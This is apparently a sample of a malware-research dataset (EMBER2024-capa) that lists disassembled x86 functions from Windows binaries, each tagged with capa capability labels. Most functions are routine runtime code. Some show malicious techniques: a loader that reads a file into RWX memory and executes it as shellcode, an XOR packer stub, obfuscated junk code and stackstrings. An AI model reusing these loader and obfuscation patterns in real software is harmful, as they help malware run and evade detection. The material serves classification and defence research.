joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101020d4
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10117afc
push 0x10117af4
push str.FlsAlloc
push 0x1f
call fcn.10101f53
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10102108
push dword [ebp + 8]
mov ecx, esi
call dword [0x1011334c]
call esi
jmp 0x1010210e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10102152
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10117b0c
push 0x10117b04
push str.FlsGetValue
push 0x21
call fcn.10101f53
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10102189
push dword [ebp + 8]
mov ecx, esi
call dword [0x1011334c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10102191
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10117b14
push 0x10117b0c
push str.FlsSetValue
push 0x22
call fcn.10101f53
mov esi, eax
add esp, 0x10
test esi, esi
je 0x101021cb
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1011334c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10106935
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x101069d2
push ebx
push esi
call fcn.101068fe
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1010401b
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1010697f
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x101069d1
push edi
push eax
call fcn.101005da
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1010699f
call fcn.10100628
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x101069d0
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1010401b
add esp, 0x20
test eax, eax
jne 0x101069be
push edi
call fcn.10100628
jmp 0x101069c6
push ebx
call fcn.10100628
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x101069d5
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x101069e6
pop esi
ret
push ebx
push edi
push esi
call fcn.101068fe
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.101005da
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x10106a0e
push ebx
push esi
push edi
call fcn.100f0120
add esp, 0xc
push 0
call fcn.10100628
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x10106dde
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10106a23
Function at 0x1010c301
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.1010c27d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x1010c470
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x1010c470
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x1010c425
jg 0x1010c35d
test eax, eax
je 0x1010c41b
push 1
push 0x1000
call fcn.10101d8f
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x1010c380
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1010c412
push 0x8000
push ebx
call fcn.1010c1ae
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x1010c3a9
jg 0x1010c3a4
cmp ecx, 0x1000
jb 0x1010c3a9
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.10108918
add esp, 0x10
cmp eax, 0xffffffff
je 0x1010c3ee
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x1010c3a4
jl 0x1010c3d5
test ecx, ecx
jne 0x1010c396
push dword [ebp - 0xc]
push ebx
call fcn.1010c1ae
push esi
call fcn.10100628
add esp, 0xc
xor ebx, ebx
jmp 0x1010c47e
cmp byte [edi + 0x24], 0
je 0x1010c405
cmp dword [edi + 0x20], 5
jne 0x1010c405
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x1010c410
mov ebx, dword [edi + 0x18]
jmp 0x1010c412
xor ebx, ebx
push esi
call fcn.10100628
pop ecx
jmp 0x1010c47e
test ecx, ecx
jg 0x1010c3e7
jl 0x1010c425
test eax, eax
jae 0x1010c3e7
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1010947d
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1010c445
cmp byte [edi + 0x1c], 0
je 0x1010c3e7
jmp 0x1010c476
push ebx
call fcn.10107ea5
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1010c3e7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1010c47e
cmp byte [edi + 0x1c], 0
je 0x1010c47b
mov ebx, dword [edi + 0x18]
jmp 0x1010c47e
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.1010947d
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1010eac0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1010eaed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1010eaed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10011490
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x78
mov eax, dword [0x62ba2f0]
xor eax, esp
mov dword [esp + 0x74], eax
push ebx
mov ebx, dword [esp + 0x80]
mov eax, 1
push esi
push 0x30
mov word [esp + 0x7c], ax
mov esi, 2
lea eax, [esp + 0x1c]
mov dword [esp + 0x70], 0x40000
push 0
push eax
mov dword [esp + 0x7c], 0x20004
mov dword [esp + 0x80], 0x10001
mov dword [esp + 0x20], 0
call fcn.1000d861
push 0x24
lea eax, [esp + 0x58]
push 0
push eax
call fcn.1000d861
push 0x2b
push ebx
call fcn.100269f0
mov edx, eax
add esp, 0x20
test edx, edx
jne 0x10011520
pop esi
pop ebx
mov ecx, dword [esp + 0x74]
xor ecx, esp
call fcn.10010f50
add esp, 0x78
ret
mov al, byte [edx + 5]
cmp al, 9
ja 0x10011673
cmp al, 1
jb 0x10011673
movzx eax, al
cmp dword [esp + eax*4 + 0x44], 0
jne 0x100115a0
mov dword [esp + eax*4 + 0x44], edx
movzx eax, byte [edx + 5]
dec eax
cmp eax, 8
ja 0x100115a0
jmp dword [eax*4 + 0x62a0cec]
movzx eax, byte [edx + 5]
movzx ecx, byte [edx + 6]
shl eax, 8
or eax, ecx
cmp eax, 0x200
jg 0x1001161e
je 0x10011614
sub eax, 0x100
cmp eax, 0x46
ja 0x10011673
movzx eax, byte [eax + 0x62a0d2c]
jmp dword [eax*4 + 0x62a0d10]
mov dword [esp + 0x30], 0
jmp 0x10011673
cmp eax, 0x714
jg 0x10011653
je 0x10011649
cmp eax, 0x300
je 0x1001163f
cmp eax, 0x70a
jne 0x10011673
mov dword [esp + 0x38], 0
jmp 0x10011673
mov dword [esp + 0x34], 0
jmp 0x10011673
mov dword [esp + 0x3c], 0
jmp 0x10011673
cmp eax, 0x80a
je 0x1001166b
cmp eax, 0x90a
jne 0x10011673
mov dword [esp + 0x44], 0
jmp 0x10011673
mov dword [esp + 0x40], 0
push edx
push ebx
call fcn.10026a90
mov edx, eax
add esp, 8
test edx, edx
jne 0x10011520
push 0x14
push 1
push ebx
call fcn.10026a50
add esp, 0xc
test eax, eax
je 0x10011731
add eax, 0xf
mov dword [esp + 0x10], 0
push 2
push eax
lea eax, [esp + 0x18]
push eax
call fcn.1000d79d
mov ecx, dword [esp + 0x1c]
add esp, 0xc
cmp dword [esp + 0x38], 0
jne 0x100116d7
cmp dword [esp + 0x3c], 0
jne 0x100116d7
cmp dword [esp + 0x40], 0
jne 0x100116d7
cmp dword [esp + 0x44], 0
je 0x100116f2
test cx, cx
je 0x100116f2
pop esi
mov eax, 0xb
pop ebx
mov ecx, dword [esp + 0x74]
xor ecx, esp
call fcn.10010f50
add esp, 0x78
ret
cmp cx, 7
jae 0x10011702
movzx eax, cx
movzx eax, word [esp + eax*2 + 0x6c]
jmp 0x1001172d
cmp cx, 0xb
jne 0x10011712
mov dword [esp + 0x14], 1
jmp 0x10011731
cmp cx, 0x14
jne 0x10011722
mov dword [esp + 0x14], 4
jmp 0x10011731
mov eax, dword [esp + 0x14]
cmp cx, 0x15
cmove eax, esi
mov dword [esp + 0x14], eax
xor esi, esi
push edi
cmp dword [esp + esi*4 + 0x1c], 0
je 0x1001189d
movq xmm0, qword [0x62baa74]
mov al, byte [0x62baa7c]
movq qword [esp + 0x70], xmm0
mov byte [esp + 0x78], al
mov dword [esp + 0x14], 0
cmp esi, 0xb
ja 0x100118d2
jmp dword [esi*4 + 0x62a0d74]
inc esi
cmp esi, 0xc
jl 0x10011734
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x74]
xor ecx, esp
call fcn.10010f50
add esp, 0x78
ret
mov ecx, dword [esp + 0x80]
mov eax, 0xb
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10010f50
add esp, 0x78
ret
Function at 0x10012830
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
mov eax, dword [ecx]
or eax, dword [ecx + 4]
je 0x1001291a
movzx eax, byte [ecx]
imul edx, eax, 0x13cee4d1
movzx eax, byte [ecx + 1]
imul eax, eax, 0x13cee4d1
push ebx
push esi
rol edx, 5
xor edx, eax
movzx eax, byte [ecx + 2]
imul eax, eax, 0x13cee4d1
rol edx, 5
xor edx, eax
movzx eax, byte [ecx + 3]
imul eax, eax, 0x13cee4d1
rol edx, 5
xor edx, eax
movzx eax, byte [ecx + 4]
imul eax, eax, 0x13cee4d1
rol edx, 5
xor edx, eax
movzx eax, byte [ecx + 5]
imul eax, eax, 0x13cee4d1
rol edx, 5
xor edx, eax
movzx eax, byte [ecx + 6]
imul eax, eax, 0x13cee4d1
rol edx, 5
xor edx, eax
movzx eax, byte [ecx + 7]
mov ecx, dword [esp + 0x18]
mov esi, ecx
imul eax, eax, 0x13cee4d1
rol edx, 5
xor edx, eax
mov eax, 0x13cee4d1
cmove edx, eax
shr esi, 2
mov eax, edx
mov ebx, edx
shr eax, 0x10
mov dword [esp + 0x10], eax
mov eax, edx
shr eax, 0x18
shr ebx, 8
mov dword [esp + 8], eax
mov eax, dword [esp + 0x14]
test esi, esi
jle 0x10012907
mov ecx, dword [esp + 0x10]
xor byte [eax], dl
dec esi
xor byte [eax + 1], bl
xor byte [eax + 2], cl
mov ecx, dword [esp + 8]
xor byte [eax + 3], cl
add eax, 4
mov ecx, dword [esp + 0x10]
test esi, esi
jg 0x100128e8
mov ecx, dword [esp + 0x18]
pop esi
pop ebx
and ecx, 3
jle 0x1001291a
mov edi, edi
xor byte [eax], dl
lea eax, [eax + 1]
dec ecx
test ecx, ecx
jg 0x10012910
pop ecx
ret
Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x6f420845
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x613a12e0
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov word [0x10003036], ax
xor edi, edi
movzx ecx, word [eax + 0x10002034]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001161
push 1
push edi
push edi
mov ebx, 0x10003030
push ebx
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001191
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push ebx
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push edi
cmp eax, 0xffffffff
jne 0x100011e4
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x64f9b0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, 8
pxor mm7, mm7
push ecx
movd mm6, ebx
mov ebx, 0x80008000
push edx
punpckldq mm6, mm6
movd mm5, ebx
push edi
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov edi, dword [esp + 0x1c]
mov eax, dword [esp + 0x20]
punpckldq mm5, mm5
movq mm0, qword [edx]
movq mm2, qword [edx + 8]
movq mm4, qword [edx + 0x10]
movq mm1, mm2
psrlq mm2, 0x20
punpckldq mm2, mm4
paddd mm0, mm2
movq mm3, mm4
psrlq mm4, 0x20
sub eax, 4
jl 0x64fab9
jmp 0x64fa10
pxor mm5, qword [ecx]
add edi, 8
add ecx, 8
movq mm2, qword [edx + 0x18]
punpckldq mm4, mm2
paddd mm0, mm2
paddd mm1, mm4
movq mm4, mm5
punpcklwd mm5, mm7
punpckhwd mm4, mm7
pcmpeqd mm7, mm7
psubd mm0, mm5
pslld mm7, 0x12
psubd mm1, mm4
pslld mm5, 4
pslld mm4, 4
psubd mm5, mm0
movq mm0, mm6
paddd mm5, mm7
paddd mm4, mm7
psrld mm7, 0x1e
pand mm0, mm5
paddd mm5, mm7
psrld mm0, 3
paddd mm5, mm0
movq mm0, qword [edx + 0x20]
psrad mm5, 3
paddd mm1, mm0
add edx, 0x10
psubd mm4, mm1
movq mm1, mm6
sub eax, 4
pand mm1, mm4
paddd mm4, mm7
psrld mm1, 3
paddd mm4, mm1
movq mm1, mm2
psrad mm4, 3
psrlq mm2, 0x20
packssdw mm5, mm4
movq mm4, mm0
movq mm0, mm3
punpckldq mm2, mm4
movq mm3, mm4
psrlq mm4, 0x20
movq qword [edi - 8], mm5
movd mm5, ebx
paddd mm0, mm2
punpckldq mm5, mm5
pxor mm7, mm7
jge 0x64fa10
add eax, 4
jle 0x64fb43
pxor mm5, qword [ecx]
movq mm2, qword [edx + 0x18]
punpckldq mm4, mm2
paddd mm0, mm2
paddd mm1, mm4
movq mm4, mm5
punpcklwd mm5, mm7
punpckhwd mm4, mm7
pcmpeqd mm7, mm7
psubd mm0, mm5
pslld mm7, 0x12
pslld mm5, 4
psubd mm1, mm4
psubd mm5, mm0
paddd mm1, qword [edx + 0x20]
pslld mm4, 4
paddd mm5, mm7
psubd mm4, mm1
movq mm2, mm6
paddd mm4, mm7
psrld mm7, 0x1e
pand mm2, mm5
paddd mm5, mm7
psrld mm2, 3
pand mm6, mm4
paddd mm4, mm7
psrld mm6, 3
paddd mm5, mm2
paddd mm4, mm6
psrad mm5, 3
psrad mm4, 3
packssdw mm5, mm4
cmp eax, 2
jl 0x64fb3d
movd dword [edi], mm5
je 0x64fb43
psrlq mm5, 0x20
add edi, 4
movd edx, mm5
mov word [edi], dx
pop edi
pop edx
pop ecx
pop ebx
ret

Function at 0x6d9137
Capabilities:
Encode data using xor

Disassembly:
pop dx
bound esi, qword [eax]
fild dword [edi]
push edx
xor eax, 0x6575d9da
sub bh, ch
push edi
cvtpi2ps xmm3, mm4
jg 0x6d913b
sub al, 0xff
dec ebp
loope 0x6d9169
insd dword es:[edi], dx
lodsd eax, dword [esi]
jecxz 0x6d9183
xchg byte [edi + 0x6c], cl
pop edi
dec eax
fucompi st(0)
ret
invalid
jbe 0xc915addb
sti
hlt
Function at 0x401d70
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407048
call sym._EnterCriticalSection_4
mov ebx, dword [0x407040]
sub esp, 4
test ebx, ebx
je 0x401dbb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401db4
test esi, esi
je 0x401db4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401d90
mov dword [esp], 0x407048
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401fa0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401ff0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4020c8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40202e
cmp eax, 4
jne 0x402050
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40203e
cmp edx, 4
je 0x40203e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401fa0
Function at 0x92e695
Capabilities:
Encode data using xor

Disassembly:
jmp 0xeeb353
add edi, 4
push 0xb6a45585
mov dword [esp + 4], 0x381fdb05
mov word [esp + 6], 0x8789
xor ecx, ebx
jmp 0xf204c5
sub ecx, 0x3c843424
not byte [esp + 6]
not byte [esp + 7]
neg ecx
bswap ecx
add ecx, 0xeb31513d
ror dword [esp + 4], 0xd3
add dword [esp + 2], 0x122b321c
mov dword [esp + 4], 0x5e00ae1c
xor ebx, ecx
push 0x81b9c237
shr byte [esp + 1], 0x21
sbb esi, 4
mov dword [esi], ecx
call fcn.00fd2b39
lodsb al, byte [esi]
inc esi
mov bh, 0x59
sbb al, 0xb0
pop ss
or byte [ecx], al
rsqrtps xmm7, xmm6
jns 0xf204df
and al, 4
rol dword [ecx + 0x1c022444], cl
xor ch, byte [ebx]
adc al, bh
inc esp
and al, 4
sbb al, 0xae
add byte [esi + 0x33], bl
fldcw word [eax + 0x37]
ret 0x81b9
mov bh, 0xb9
and al, 0x28
xlatb
push 0x5752ff91
mov esi, 0x63fc1bab
stosb byte es:[edi], al
movsb byte es:[edi], byte [esi]
int1
std
xor dl, 0xd2
inc edx
dec esi
outsb dx, byte [esi]
pop esp
push 0x45fae781
and dh, byte [edx + 0x55]
push ss
sbb eax, edi
into
aaa
push esp
jno 0xf204d3
invalid

Function at 0x965bc9
Capabilities:
Encode data using xor

Disassembly:
xor ax, 0x1fbb
xor bx, ax
jmp 0xffe47b
mov dword [esp + 8], 0xc903e91
sub esi, 2
push 0xe2a76404
not word [esp + 0x16]
loop 0xffe4f5
not dword [esp + 0x16]
mov word [esi], ax
call fcn.00efe017
mov esi, 0xeeeff03f
add ch, ah
leave
push cs
push ecx
js 0xffe51d
mov dword [0xa697a80f], eax
dec eax
add eax, 0xb8013e89
mov dh, 0xeb
inc edi
pushal
pop edi
mov ch, ch
loope 0xffe4d2
sub dword [eax + 0x78d49b76], ebx
sub al, byte [ebp + 0x62]
adc ah, byte [eax]
sbb esi, dword [ebp + ebp*2 - 1]
daa
inc esp
jge 0xffe48d
push ecx
cmp dword [edx + 0x45], esp
inc ebp
sbb edx, dword [eax]
pop ss
cli
inc esi
in eax, 0xc8
sbb eax, 0x2c4d6e66
jge 0xffe54d
jg 0xffe4f1
dec edi
xchg esi, eax
push ebp
jno 0xffe4b5
invalid
push edi
daa
jge 0x588b2a30
lea esi, [esi]
inc ebp
mov edx, dword [edi - 0x5c]
movsb byte es:[edi], byte [esi]
out 6, eax
in eax, 0x33
xor bl, byte [edi]
xchg ebx, eax
lodsb al, byte [esi]
adc esp, dword [edx - 0x54]
push ecx
popfd
dec edx
jne 0xffe4f7
or byte [edi], 0x23
int3
in al, dx
int1
cmp eax, 0xf994fda2
and eax, 0x8665402f
movsb byte es:[edi], byte [esi]
xor ebx, dword [ebx + edi*2 - 0x50]
inc edx
fsubrp st(7)
invalid
shl dword [eax], 1
xor dword [edx], esp
sub byte [edx + 0x1b], cl
cmp byte [ecx + 8], bl
test al, 0xfa
sbb byte [edx - 0x570527cc], bl
adc edx, esp
clc
jns 0xffe4e4
out dx, al
arpl word [esi + 0x4e], sp
mov dl, byte [esi + eax*4 + 0x4f]
xchg byte [esi - 0x627f89e4], dh
mov edi, 0xbf6027c8
and dword fs:[esp + ebx], esp
cmp esi, dword [0x77e9de67]
invalid

Function at 0xe8025c
Capabilities:
Encode data using base64

Disassembly:
lea edx, [esp + edx + 0xc]
mov dword [edx], ecx
push 0x1f2dae19
call fcn.00e80328
mov dword [esp + 4], 0x3dad3424
ror dl, 1
not dl
and dword [esp + 8], 0xcc8109bc
jae 0xf41466
xor bl, dl
sal dword [esp + 6], 0xf9
rol dword [esp + 6], 0x3f
ja 0xe6b600
mov ebp, dword [0xed07ac76]
stc
pop es
sub byte [edx + 0x69f7506d], bl
push ss
cld
jg 0xf414e4
jo 0xf414bb
invalid
shr byte [edi + 0x74], 1
enter 0x15f2, 0x2d
int3
out 0xca, al
dec edx
bound ebx, qword [eax]
retf 0x7bac
Function at 0xf92331
Capabilities:
Encode data using xor

Disassembly:
add byte [edi], cl
lea ebp, [0x23fff3f2]
and eax, dword [esp + 8]
and eax, dword [esp + 8]
not cl
shr ax, 0x2f
inc cl
btr ax, 0x87
xor bl, cl
shr al, 0xe4
not word [esp + eax - 0x7ffffff7]
lea ecx, [esp + ecx + 0xc]
imul ax, word [esp + eax - 0x7ffffff6]
shr dword [esp + eax - 0x7ffffff8], 0x7d
mov eax, dword [ecx + eax - 0x80000000]
sub byte [esp + 8], 0
push 0x64bed320
jae 0xe7bed4
or dword [eax + 9], ebp
out 0x82, eax
dec esi
xchg ecx, eax
scasb al, byte es:[edi]
lahf
shr esp, 1
ror byte [edi - 0x35915650], 0xb6
xor ebx, ecx
ffreep st(0)
push ebp
jns 0xf9232a
sub dword [eax + 0x3e], edx
wait
pop ss
test al, 0x37
invalid

Function at 0xf9bd00
Capabilities:
Encode data using xor

Disassembly:
push 0xefb8eb9e
lea esp, [esp + 0x14]
je 0x93535d
push edi

Function at 0x102a76b
Capabilities:
Encode data using xor

Disassembly:
mov word [ebp], si
lea esp, [esp + 0xc]
jmp fcn.00e9d166
Function at 0x100426b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x15d0020]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x20], 0
mov byte [ebp - 0x1f], 3
mov byte [ebp - 0x1e], 0x8a
mov byte [ebp - 0x1d], 0
mov byte [ebp - 0x1c], 3
mov byte [ebp - 0x1b], 0xff
mov byte [ebp - 0x1a], 0
mov byte [ebp - 0x19], 5
mov byte [ebp - 0x18], 0x69
mov byte [ebp - 0x17], 0
mov byte [ebp - 0x16], 0xc
mov byte [ebp - 0x15], 0x29
mov byte [ebp - 0x14], 0
mov byte [ebp - 0x13], 0x50
mov byte [ebp - 0x12], 0x56
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x10], 0x50
mov byte [ebp - 0xf], 0xf2
mov byte [ebp - 0xe], 0
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x45
mov byte [ebp - 0xb], 0x44
mov byte [ebp - 0xa], 0x45
mov byte [ebp - 9], 0x53
mov byte [ebp - 8], 0xff
mov byte [ebp - 7], 0xff
mov byte [ebp - 6], 0xff
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + 2]
cmp ecx, 0x20
jne 0x10042763
mov edx, dword [ebp + 8]
movzx eax, byte [edx + 3]
cmp eax, 0x52
jne 0x10042763
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx + 4]
cmp edx, 0x41
jne 0x10042763
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + 5]
cmp ecx, 0x53
jne 0x10042763
mov al, 1
jmp 0x10042825
mov dword [ebp - 0x24], 0
jmp 0x10042775
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
imul eax, eax, 3
movzx ecx, byte [ebp + eax - 0x20]
cmp ecx, 0xff
je 0x100427cf
mov edx, dword [ebp + 8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x24]
imul ecx, ecx, 3
movzx edx, byte [ebp + ecx - 0x20]
cmp eax, edx
jne 0x100427cd
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + 1]
mov edx, dword [ebp - 0x24]
imul edx, edx, 3
movzx eax, byte [ebp + edx - 0x1f]
cmp ecx, eax
jne 0x100427cd
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx + 2]
mov eax, dword [ebp - 0x24]
imul eax, eax, 3
movzx ecx, byte [ebp + eax - 0x1e]
cmp edx, ecx
jne 0x100427cd
mov al, 1
jmp 0x10042825
jmp 0x1004276c
mov edx, dword [ebp + 8]
